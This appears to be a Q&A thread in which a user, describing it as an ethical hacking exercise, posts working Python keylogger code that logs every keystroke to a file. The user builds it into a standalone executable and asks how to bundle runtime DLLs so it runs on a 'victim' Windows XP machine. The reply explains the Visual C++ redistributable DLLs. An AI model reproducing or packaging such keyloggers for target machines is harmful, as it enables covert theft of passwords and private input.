Reputation: 1721
Host OS: Windows 10, 64-bit
Python: Version 2.7, 32-bit
For Ethical Hacking, I am following video, Ethical Hacking Python Keylogger
I created the code per the video,
import pyHook, pythoncom, sys, logging
file_log = 'C:\\Lets_Create_Malware\\log.txt'
def OnKeyboardEvent (event):
logging.basicConfig(filename=file_log, level=logging.DEBUG, format='%(message)s')
chr(event.Ascii)
logging.log(10,chr(event.Ascii))
return True
hooks_manager = pyHook.HookManager()
hooks_manager.KeyDown = OnKeyboardEvent
hooks_manager.HookKeyboard()
pythoncom.PumpMessages()
then I converted to .exe using Pyinstaller, i.e
pyinstaller --debug --onefile --noupx keylogger.pyw
And the .exe works on my computer, i.e. Windows 10, 64-bit.
However, when I execute on Windows XP, 32-bit (virtual machine on vmware), I get error
This application has failed to start because msvcr100.dll was not found. Re-installing the application may fix this problem
Again, code is for ethical hacking exercise on my personal network. Installing msvcr100.dll on Windows XP (the "victim" machine) is not an option.
How to bundle msvcr100.dll using pyinstaller
How to bundle all possible dlls, etc using pyinstaller
Thank you
I tried including directory with all Windows DLLs, but it doesn't work, i.e. huge error message
pyinstaller --debug --onefile --noupx C:\Windows\System32\*.dll keylogger.pyw
Here is debug output. It looks for msvcp90.dll
,but not `msvcr100.dll
How to fix?
c:\Python27\Malware>pyinstaller --debug --onefile --noupx keylogger.pyw
116 INFO: PyInstaller: 3.2
116 INFO: Python: 2.7.12
116 INFO: Platform: Windows-10-10.0.10586
116 INFO: wrote c:\Python27\Malware\keylogger.spec
131 INFO: UPX is not available.
131 INFO: Extending PYTHONPATH with paths
['c:\\Python27\\Malware', 'c:\\Python27\\Malware']
131 INFO: checking Analysis
131 INFO: Building Analysis because out00-Analysis.toc is non existent
131 INFO: Initializing module dependency graph...
148 INFO: Initializing module graph hooks...
185 INFO: running Analysis out00-Analysis.toc
185 INFO: Adding Microsoft.VC90.CRT to dependent assemblies of final executable
required by c:\python27\python.exe
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
286 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
301 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
386 INFO: Searching for assembly x86_Microsoft.VC90.CRT_1fc8b3b9a1e18e3b_9.0.30729.9177_none ...
386 INFO: Found manifest C:\WINDOWS\WinSxS\Manifests\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9.manifest
402 INFO: Searching for file msvcr90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcr90.dll
402 INFO: Searching for file msvcp90.dll
402 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcp90.dll
402 INFO: Searching for file msvcm90.dll
417 INFO: Found file C:\WINDOWS\WinSxS\x86_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_5093cc7abcb795e9\msvcm90.dll
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.1_none_8550c6b5d18a9128.manifest
502 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4148_none_f47e1bd6f6571810.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.6161_none_f480bfaef65491a5.manifest
517 INFO: Found C:\WINDOWS\WinSxS\Manifests\x86_policy.9.0.microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.9177_none_f4813cfaf6543c37.manifest
517 INFO: Adding redirect Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
5078 INFO: Caching module hooks...
5085 INFO: Analyzing c:\Python27\Malware\keylogger.pyw
6157 INFO: Loading module hooks...
6157 INFO: Loading module hook "hook-pywintypes.py"...
6331 INFO: Loading module hook "hook-encodings.py"...
6715 INFO: Loading module hook "hook-pythoncom.py"...
6907 INFO: Looking for ctypes DLLs
6907 INFO: Analyzing run-time hooks ...
6907 INFO: Looking for dynamic libraries
16654 WARNING: Attempted to add Python module twice with different upper/lowercases: pyHook._cpyHook
16657 INFO: Looking for eggs
16657 INFO: Using Python library C:\WINDOWS\system32\python27.dll
16662 INFO: Found binding redirects:
[BindingRedirect(name=u'Microsoft.VC90.CRT', language=None, arch=u'x86', oldVersion=(9, 0, 21022, 8), newVersion=(9, 0, 30729, 9177), publicKeyToken=u'1fc8b3b9a1e18e3b')]
16667 INFO: Warnings written to c:\Python27\Malware\build\keylogger\warnkeylogger.txt
16713 INFO: checking PYZ
16713 INFO: Building PYZ because out00-PYZ.toc is non existent
16729 INFO: Building PYZ (ZlibArchive) c:\Python27\Malware\build\keylogger\out00-PYZ.pyz
17083 INFO: checking PKG
17084 INFO: Building PKG because out00-PKG.toc is non existent
17085 INFO: Building PKG (CArchive) out00-PKG.pkg
17113 INFO: Redirecting Microsoft.VC90.CRT version (9, 0, 21022, 8) -> (9, 0, 30729, 9177)
18460 INFO: Bootloader c:\python27\lib\site-packages\PyInstaller\bootloader\Windows-32bit\run_d.exe
18463 INFO: checking EXE
18465 INFO: Building EXE because out00-EXE.toc is non existent
18470 INFO: Building EXE from out00-EXE.toc
18470 INFO: Appending archive to EXE c:\Python27\Malware\dist\keylogger.exe
Upvotes: 4
Views: 8515
Reputation: 233
You don't have to install the dll(s) required to run the program. They do however have to be available. This can be achieved by including them in the current working directory of where the .exe file is located.
Additional information: The DLLs missing here are part of Microsoft's Visual C++ Redistributable runtime library. They provide a set of executable functions that support the running of compiled programs. The reason they are called "redistributable" is that a developer who writes a program is not required to pay a license fee to include them with their program. Now the easy way to have them be there for your program is to include the installer for the dll library with your program so you don't have to figure out which DLLs are needed and which ones are not. This also means that any other person's program that is used on the system and needs one of the DLLs will be all set to go. It might also install the library over the top of the previous installation as part of its own installation (if it's doing a formal install) but there will only be the one set of DLLs with those names on the system.
So, if knowing all of that you still don't want to install the library, your only other choice is to figure out which DLLs your program requires, copying them one by one, as the error messages tell you which DLL is the next one it is missing. Having the required DLLs in the working directory of your program is another way of bundling them with your program. It might be two and it might be a hundred. Of course, you might just copy the entire library into your working directory but in that case you might as well have just installed the library on the system. It is kind of a question of how much determination you have set on a particular way of bundling.
The following is a download page should you go the easier route (I think the one you needed was 2010):
Upvotes: 2